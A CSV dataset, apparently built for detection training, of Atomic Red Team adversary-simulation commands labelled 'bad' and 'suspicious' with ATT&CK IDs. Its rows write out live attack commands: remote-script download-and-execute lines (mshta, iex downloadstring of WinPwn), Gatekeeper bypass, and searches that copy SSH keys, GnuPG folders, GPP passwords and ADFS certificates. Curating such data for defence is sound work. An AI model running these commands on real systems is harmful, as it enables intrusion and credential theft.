0490502cf354a96534bf4953,"$var =Invoke-WebRequest ""#{hta_url}"" $var.content|out-file ""#{temp_file}"" mshta ""#{temp_file}"" start-sleep -s 15 stop-process -name ""calculator"" -Force -ErrorAction Ignore stop-process -name ""CalculatorApp"" -Force -ErrorAction Ignore","$var =Invoke-WebRequest ""#{hta_url}"" $var.content|out-file ""#{temp_file}"" mshta ""#{temp_file}"" start-sleep -s 15 stop-process -name ""calculator"" -Force -ErrorAction Ignore stop-process -name ""CalculatorApp"" -Force -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218.005/T1218.005.yaml,Mshta Executes Remote HTML Application (HTA),T1218.005,"[""T1218.005""]",windows,0.9,False,"Execute an arbitrary remote HTA. Upon execution calc.exe will be launched.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0ae16c4a160cc908053f81f3,"remove-item ""#{temp_file}"" -ErrorAction Ignore","remove-item ""#{temp_file}"" -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218.005/T1218.005.yaml,Mshta Executes Remote HTML Application (HTA),T1218.005,"[""T1218.005""]",windows,0.55,True,"Execute an arbitrary remote HTA. Upon execution calc.exe will be launched.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5cc25339cceca1298709b983,Invoke-ATHHTMLApplication -HTAFilePath #{hta_file_path} -ScriptEngine #{script_engine} -AsLocalUNCPath -SimulateLateralMovement -MSHTAFilePath #{mshta_file_path},Invoke-ATHHTMLApplication -HTAFilePath #{hta_file_path} -ScriptEngine #{script_engine} -AsLocalUNCPath -SimulateLateralMovement -MSHTAFilePath #{mshta_file_path},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218.005/T1218.005.yaml,Invoke HTML Application - Jscript Engine over Local UNC Simulating Lateral Movement,T1218.005,"[""T1218.005""]",windows,0.9,False,Executes an HTA Application using JScript script engine using local UNC path simulating lateral movement.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
cdc67d9b2a71aa94afe837b4,Invoke-ATHHTMLApplication -HTAFilePath #{hta_file_path} -ScriptEngine #{script_engine} -SimulateUserDoubleClick,Invoke-ATHHTMLApplication -HTAFilePath #{hta_file_path} -ScriptEngine #{script_engine} -SimulateUserDoubleClick,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218.005/T1218.005.yaml,Invoke HTML Application - Jscript Engine Simulating Double Click,T1218.005,"[""T1218.005""]",windows,0.9,False,Executes an HTA Application using JScript script engine simulating double click.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1c37a96f00b81725af317a3a,Invoke-ATHHTMLApplication -HTAUri #{hta_uri} -MSHTAFilePath #{mshta_file_path},Invoke-ATHHTMLApplication -HTAUri #{hta_uri} -MSHTAFilePath #{mshta_file_path},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218.005/T1218.005.yaml,Invoke HTML Application - Direct download from URI,T1218.005,"[""T1218.005""]",windows,0.9,False,Executes an HTA Application by directly downloading from remote URI.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f6f68912d04b9a9fab56f4d4,Invoke-ATHHTMLApplication -ScriptEngine #{script_engine} -InlineProtocolHandler #{protocol_handler} -UseRundll32 -Rundll32FilePath #{rundll32_file_path},Invoke-ATHHTMLApplication -ScriptEngine #{script_engine} -InlineProtocolHandler #{protocol_handler} -UseRundll32 -Rundll32FilePath #{rundll32_file_path},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218.005/T1218.005.yaml,Invoke HTML Application - JScript Engine with Rundll32 and Inline Protocol Handler,T1218.005,"[""T1218.005""]",windows,0.9,False,"Executes an HTA Application with JScript Engine, Rundll32 and Inline Protocol Handler.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
648ff4ab0f3c65936b48d143,Invoke-ATHHTMLApplication -ScriptEngine #{script_engine} -InlineProtocolHandler #{protocol_handler} -MSHTAFilePath #{mshta_file_path},Invoke-ATHHTMLApplication -ScriptEngine #{script_engine} -InlineProtocolHandler #{protocol_handler} -MSHTAFilePath #{mshta_file_path},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218.005/T1218.005.yaml,Invoke HTML Application - JScript Engine with Inline Protocol Handler,T1218.005,"[""T1218.005""]",windows,0.9,False,Executes an HTA Application with JScript Engine and Inline Protocol Handler.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
deefd64584cc989bb27f33f4,Invoke-ATHHTMLApplication -TemplatePE -AsLocalUNCPath -MSHTAFilePath #{mshta_file_path},Invoke-ATHHTMLApplication -TemplatePE -AsLocalUNCPath -MSHTAFilePath #{mshta_file_path},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218.005/T1218.005.yaml,Invoke HTML Application - Simulate Lateral Movement over UNC Path,T1218.005,"[""T1218.005""]",windows,0.9,False,Executes an HTA Application with Simulate lateral movement over UNC Path.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
341e5ada111ecb99e1e490f7,"mshta.exe ""about:<hta:application><script language=""VBScript"">Close(Execute(""CreateObject(""""Wscript.Shell"""").Run%20""""powershell.exe%20-nop%20-Command%20Write-Host%20#{message};Start-Sleep%20-Seconds%20#{seconds_to_sleep}""""""))</script>'""","mshta.exe ""about:<hta:application><script language=""VBScript"">Close(Execute(""CreateObject(""""Wscript.Shell"""").Run%20""""powershell.exe%20-nop%20-Command%20Write-Host%20#{message};Start-Sleep%20-Seconds%20#{seconds_to_sleep}""""""))</script>'""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218.005/T1218.005.yaml,Mshta used to Execute PowerShell,T1218.005,"[""T1218.005""]",windows,0.9,False,"Use Mshta to execute arbitrary PowerShell. Example is from the 2021 Threat Detection Report by Red Canary.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
cd85bd88e8420488056e66a7,findstr /S cpassword %logonserver%\sysvol\*.xml,findstr /S cpassword %logonserver%\sysvol\*.xml,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1552.006/T1552.006.yaml,GPP Passwords (findstr),T1552.006,"[""T1552.006""]",windows,0.9,False,"Look for the encrypted cpassword value within Group Policy Preference files on the Domain Controller. This value can be decrypted with gpp-decrypt on Kali Linux.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4fbc193ab0ffae7ddaf453ce,". ""#{gpp_script_path}"" Get-GPPPassword -Verbose",". ""#{gpp_script_path}"" Get-GPPPassword -Verbose",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1552.006/T1552.006.yaml,GPP Passwords (Get-GPPPassword),T1552.006,"[""T1552.006""]",windows,0.9,False,"Look for the encrypted cpassword value within Group Policy Preference files on the Domain Controller.
This test is intended to be run from a domain joined workstation, not on the Domain Controller itself.
The Get-GPPPasswords.ps1 executed during this test can be obtained using the get-prereq_commands.

Successful test execution will either display the credentials found in the GPP files or indicate ""No preference files found"".
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
cee18ef22db0b70730608308,"Get-CimInstance -Query ""SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')""","Get-CimInstance -Query ""SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1592.001/T1592.001.yaml,Enumerate PlugNPlay Camera,T1592.001,"[""T1592.001""]",windows,0.9,False,"Enumerate PlugNPlay Camera using powershell commandlet. this technique was seen in dcrat malware backdoor capabilities where it enumerate the camera info mounted on the compromised host. reference: https://www.mandiant.com/resources/analyzing-dark-crystal-rat-backdoor
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
74c1b4c0c04aa31491d80d54,xattr -d com.apple.quarantine #{app_path},xattr -d com.apple.quarantine #{app_path},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1553.001/T1553.001.yaml,Gatekeeper Bypass,T1553.001,"[""T1553.001""]",macos,0.9,False,"Gatekeeper Bypass via command line
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1b86828eb7272a7ed8c7b308,for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done,for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1046/T1046.yaml,Port Scan,T1046,"[""T1046""]","linux,macos",0.9,False,"Scan ports to check for listening ports.

Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d037f422607537691d24d706,sudo nmap -sS #{network_range} -p #{port} telnet #{host} #{port} nc -nv #{host} #{port},sudo nmap -sS #{network_range} -p #{port} telnet #{host} #{port} nc -nv #{host} #{port},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1046/T1046.yaml,Port Scan Nmap,T1046,"[""T1046""]","linux,macos",0.9,False,"Scan ports to check for listening ports with Nmap.
Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4b1e55b1d016944d513aa3dc,nmap #{host_to_scan},nmap #{host_to_scan},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1046/T1046.yaml,Port Scan NMap for Windows,T1046,"[""T1046""]",windows,0.9,False,Scan ports to check for listening ports for the local host 127.0.0.1,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
58253d8db28abeae22175cd0,"python ""#{filename}"" -i #{host_ip}","python ""#{filename}"" -i #{host_ip}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1046/T1046.yaml,Port Scan using python,T1046,"[""T1046""]",windows,0.9,False,"Scan ports to check for listening ports with python
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6cdb275897665f10fcf7723a,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') spoolvulnscan -noninteractive -consoleoutput,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') spoolvulnscan -noninteractive -consoleoutput,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1046/T1046.yaml,WinPwn - spoolvulnscan,T1046,"[""T1046""]",windows,0.9,False,Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
55d2a9a7b752c50f40bbb952,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') MS17-10 -noninteractive -consoleoutput,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') MS17-10 -noninteractive -consoleoutput,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1046/T1046.yaml,WinPwn - MS17-10,T1046,"[""T1046""]",windows,0.9,False,Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
abc1d6d5dbb2ee875c26134b,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') bluekeep -noninteractive -consoleoutput,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') bluekeep -noninteractive -consoleoutput,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1046/T1046.yaml,WinPwn - bluekeep,T1046,"[""T1046""]",windows,0.9,False,Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1ae8788ada7b084f30bf908e,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') fruit -noninteractive -consoleoutput,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') fruit -noninteractive -consoleoutput,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1046/T1046.yaml,WinPwn - fruit,T1046,"[""T1046""]",windows,0.9,False,Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c875263c84158e9312898a17,docker build -t t1046 $PathToAtomicsFolder/T1046/src/ docker run --name t1046_container --rm -d -t t1046 docker exec t1046_container /scan.sh,docker build -t t1046 $PathToAtomicsFolder/T1046/src/ docker run --name t1046_container --rm -d -t t1046 docker exec t1046_container /scan.sh,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1046/T1046.yaml,Network Service Discovery for Containers,T1046,"[""T1046""]",containers,0.9,False,"Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and vulnerability scans in order to obtain this information.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
471d23258b300c39559f63ce,docker stop t1046_container docker rmi -f t1046,docker stop t1046_container docker rmi -f t1046,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1046/T1046.yaml,Network Service Discovery for Containers,T1046,"[""T1046""]",containers,0.55,True,"Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and vulnerability scans in order to obtain this information.",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
363b8fb29593918506ff19ef,"Get-Service -Name ""Remote Desktop Services"", ""Remote Desktop Configuration""","Get-Service -Name ""Remote Desktop Services"", ""Remote Desktop Configuration""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1046/T1046.yaml,Remote Desktop Services Discovery via PowerShell,T1046,"[""T1046""]",windows,0.9,False,"Availability of remote desktop services can be checked using get- cmdlet of PowerShell
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1698629fc4fb38c4b20f543e,nmap -Pn -sV -p #{port_range} #{host},nmap -Pn -sV -p #{port_range} #{host},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1046/T1046.yaml,Port Scan using nmap (Port range),T1046,"[""T1046""]","linux,macos",0.9,False,"Scan multiple ports to check for listening ports with nmap
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a1aae702447cd04223ac916f,dir c:\ /b /s .key | findstr /e .key,dir c:\ /b /s .key | findstr /e .key,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1552.004/T1552.004.yaml,Private Keys,T1552.004,"[""T1552.004""]",windows,0.9,False,"Find private keys on the Windows file system.
File extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, pfx, .cer, .p7b, .asc
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
968826161e495bf4c6f4ec4f,find #{search_path} -name id_rsa 2>/dev/null >> #{output_file} exit 0,find #{search_path} -name id_rsa 2>/dev/null >> #{output_file} exit 0,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1552.004/T1552.004.yaml,Discover Private SSH Keys,T1552.004,"[""T1552.004""]","linux,macos",0.9,False,"Discover private SSH keys on a FreeBSD, macOS or Linux system.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
cdc9e20c3d5a438fb90d9114,rm #{output_file},rm #{output_file},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1552.004/T1552.004.yaml,Discover Private SSH Keys,T1552.004,"[""T1552.004""]","linux,macos",0.55,True,"Discover private SSH keys on a FreeBSD, macOS or Linux system.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6871e7f5747ee7308ba060d7,mkdir #{output_folder} find #{search_path} -name id_rsa 2>/dev/null -exec cp --parents {} #{output_folder} \; exit 0,mkdir #{output_folder} find #{search_path} -name id_rsa 2>/dev/null -exec cp --parents {} #{output_folder} \; exit 0,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1552.004/T1552.004.yaml,Copy Private SSH Keys with CP,T1552.004,"[""T1552.004""]",linux,0.9,False,"Copy private SSH keys on a Linux system to a staging folder using the `cp` command.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
67971ce4fba01640cff515cb,rm -rf #{output_folder},rm -rf #{output_folder},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1552.004/T1552.004.yaml,Copy Private SSH Keys with CP,T1552.004,"[""T1552.004""]",linux,0.55,True,"Copy private SSH keys on a Linux system to a staging folder using the `cp` command.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
421403f98cc218eb0478bb37,mkdir #{output_folder} find #{search_path} -name id_rsa 2>/dev/null -exec gcp --parents {} #{output_folder} \;,mkdir #{output_folder} find #{search_path} -name id_rsa 2>/dev/null -exec gcp --parents {} #{output_folder} \;,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1552.004/T1552.004.yaml,Copy Private SSH Keys with CP (freebsd),T1552.004,"[""T1552.004""]",linux,0.9,False,"Copy private SSH keys on a FreeBSD system to a staging folder using the `cp` command.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1b08158c247d82d631c82f39,mkdir #{output_folder} find #{search_path} -name id_rsa 2>/dev/null -exec rsync -R {} #{output_folder} \; exit 0,mkdir #{output_folder} find #{search_path} -name id_rsa 2>/dev/null -exec rsync -R {} #{output_folder} \; exit 0,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1552.004/T1552.004.yaml,Copy Private SSH Keys with rsync,T1552.004,"[""T1552.004""]","macos,linux",0.9,False,"Copy private SSH keys on a Linux or macOS system to a staging folder using the `rsync` command.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
529124ddc7e746b3d6b7a18c,mkdir #{output_folder} find #{search_path} -name id_rsa 2>/dev/null -exec rsync -R {} #{output_folder} \;,mkdir #{output_folder} find #{search_path} -name id_rsa 2>/dev/null -exec rsync -R {} #{output_folder} \;,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1552.004/T1552.004.yaml,Copy Private SSH Keys with rsync (freebsd),T1552.004,"[""T1552.004""]",linux,0.9,False,"Copy private SSH keys on a FreeBSD system to a staging folder using the `rsync` command.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3fef4702f1942811d7724b84,mkdir #{output_folder} find #{search_path} -type d -name '.gnupg' 2>/dev/null -exec rsync -Rr {} #{output_folder} \; exit 0,mkdir #{output_folder} find #{search_path} -type d -name '.gnupg' 2>/dev/null -exec rsync -Rr {} #{output_folder} \; exit 0,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1552.004/T1552.004.yaml,Copy the users GnuPG directory with rsync,T1552.004,"[""T1552.004""]","macos,linux",0.9,False,"Copy the users GnuPG (.gnupg) directory on a Mac or Linux system to a staging folder using the `rsync` command.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
eb0a9c597c19020c01f9d6a7,mkdir #{output_folder} find #{search_path} -type d -name '.gnupg' 2>/dev/null -exec rsync -Rr {} #{output_folder} \;,mkdir #{output_folder} find #{search_path} -type d -name '.gnupg' 2>/dev/null -exec rsync -Rr {} #{output_folder} \;,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1552.004/T1552.004.yaml,Copy the users GnuPG directory with rsync (freebsd),T1552.004,"[""T1552.004""]",linux,0.9,False,"Copy the users GnuPG (.gnupg) directory on a FreeBSD system to a staging folder using the `rsync` command.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f9d52635918cb497949723d4,"Import-Module AADInternals -Force Export-AADIntADFSCertificates Get-ChildItem | Where-Object {$_ -like ""ADFS*""} Write-Host ""`nCertificates retrieved successfully""","Import-Module AADInternals -Force Export-AADIntADFSCertificates Get-ChildItem | Where-Object {$_ -like ""ADFS*""} Write-Host ""`nCertificates retrieved successfully""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1552.004/T1552.004.yaml,ADFS token signing and encryption certificates theft - Local,T1552.004,"[""T1552.004""]",windows,0.9,False,"Retrieve ADFS token signing and encrypting certificates. This is a precursor to the Golden SAML attack (T1606.002). You must be signed in as Administrator on an ADFS server.
Based on https://o365blog.com/post/adfs/ and https://github.com/fireeye/ADFSDump.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6e9a39e3ae28c90db0e7d400,"Remove-Item -Path "".\ADFS_encryption.pfx"" -ErrorAction Ignore Remove-Item -Path "".\ADFS_signing.pfx"" -ErrorAction Ignore","Remove-Item -Path "".\ADFS_encryption.pfx"" -ErrorAction Ignore Remove-Item -Path "".\ADFS_signing.pfx"" -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1552.004/T1552.004.yaml,ADFS token signing and encryption certificates theft - Local,T1552.004,"[""T1552.004""]",windows,0.55,True,"Retrieve ADFS token signing and encrypting certificates. This is a precursor to the Golden SAML attack (T1606.002). You must be signed in as Administrator on an ADFS server.
Based on https://o365blog.com/post/adfs/ and https://github.com/fireeye/ADFSDump.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c38166f7adad0b2bd4f6de0e,IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1553.004/src/RemoteCertTrust.ps1' -UseBasicParsing) certutil.exe -p #{password} -exportPFX Root 1F3D38F280635F275BE92B87CF83E40E40458400 #{output},IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1553.004/src/RemoteCertTrust.ps1' -UseBasicParsing) certutil.exe -p #{password} -exportPFX Root 1F3D38F280635F275BE92B87CF83E40E40458400 #{output},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1552.004/T1552.004.yaml,CertUtil ExportPFX,T1552.004,"[""T1552.004""]",windows,0.9,False,"The following Atomic test simulates adding a generic non-malicious certificate to the Root certificate store. This behavior generates a registry modification that adds the cloned root CA certificate in the keys outlined in the blog. In addition, this Atomic utilizes CertUtil to export the PFX (ExportPFX), similar to what was seen in the Golden SAML attack.
Keys will look like - \SystemCertificates\CA\Certificates or \SystemCertificates\Root\Certificates
Reference: https://posts.specterops.io/cod",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
16744eedb3407db3ae6ce96d,Get-ChildItem -Path Cert:\ -Recurse | Where-Object { $_.Thumbprint -eq '1F3D38F280635F275BE92B87CF83E40E40458400' } | remove-item,Get-ChildItem -Path Cert:\ -Recurse | Where-Object { $_.Thumbprint -eq '1F3D38F280635F275BE92B87CF83E40E40458400' } | remove-item,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1552.004/T1552.004.yaml,CertUtil ExportPFX,T1552.004,"[""T1552.004""]",windows,0.55,True,"The following Atomic test simulates adding a generic non-malicious certificate to the Root certificate store. This behavior generates a registry modification that adds the cloned root CA certificate in the keys outlined in the blog. In addition, this Atomic utilizes CertUtil to export the PFX (ExportPFX), similar to what was seen in the Golden SAML attack.
Keys will look like - \SystemCertificates\CA\Certificates or \SystemCertificates\Root\Certificates
Reference: https://posts.specterops.io/cod",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0714c6e7581bd48c20971a14,"$mypwd = ConvertTo-SecureString -String ""AtomicRedTeam"" -Force -AsPlainText $cert = New-SelfSignedCertificate -DnsName atomicredteam.com -CertStoreLocation cert:\LocalMachine\My Set-Location Cert:\LocalMachine\My Get-ChildItem -Path $cert.Thumbprint | Export-PfxCertificate -FilePath #{pfx_path} -Password $mypwd","$mypwd = ConvertTo-SecureString -String ""AtomicRedTeam"" -Force -AsPlainText $cert = New-SelfSignedCertificate -DnsName atomicredteam.com -CertStoreLocation cert:\LocalMachine\My Set-Location Cert:\LocalMachine\My Get-ChildItem -Path $cert.Thumbprint | Export-PfxCertificate -FilePath #{pfx_path} -Password $mypwd",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1552.004/T1552.004.yaml,Export Root Certificate with Export-PFXCertificate,T1552.004,"[""T1552.004""]",windows,0.9,False,"Creates a Root certificate and exports it with Export-PFXCertificate PowerShell Cmdlet.
Upon a successful attempt, this will write a pfx to disk and utilize the Cmdlet Export-PFXCertificate.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
301cd9b1a3d145aaf2dc57e8,try { $cert = Import-Certificate -FilePath #{pfx_path} -CertStoreLocation Cert:\LocalMachine\My Get-ChildItem Cert:\LocalMachine\My\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore Get-ChildItem Cert:\LocalMachine\Root\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore } catch { },try { $cert = Import-Certificate -FilePath #{pfx_path} -CertStoreLocation Cert:\LocalMachine\My Get-ChildItem Cert:\LocalMachine\My\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore Get-ChildItem Cert:\LocalMachine\Root\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore } catch { },bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1552.004/T1552.004.yaml,Export Root Certificate with Export-PFXCertificate,T1552.004,"[""T1552.004""]",windows,0.55,True,"Creates a Root certificate and exports it with Export-PFXCertificate PowerShell Cmdlet.
Upon a successful attempt, this will write a pfx to disk and utilize the Cmdlet Export-PFXCertificate.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4e1ce434da0d214972996825,$cert = New-SelfSignedCertificate -DnsName atomicredteam.com -CertStoreLocation cert:\LocalMachine\My Set-Location Cert:\LocalMachine\My Export-Certificate -Type CERT -Cert Cert:\LocalMachine\My\$($cert.Thumbprint) -FilePath #{pfx_path},$cert = New-SelfSignedCertificate -DnsName atomicredteam.com -CertStoreLocation cert:\LocalMachine\My Set-Location Cert:\LocalMachine\My Export-Certificate -Type CERT -Cert Cert:\LocalMachine\My\$($cert.Thumbprint) -FilePath #{pfx_path},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1552.004/T1552.004.yaml,Export Root Certificate with Export-Certificate,T1552.004,"[""T1552.004""]",windows,0.9,False,"Creates a Root certificate and exports it with Export-Certificate PowerShell Cmdlet.
Upon a successful attempt, this will write a pfx to disk and utilize the Cmdlet Export-Certificate.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
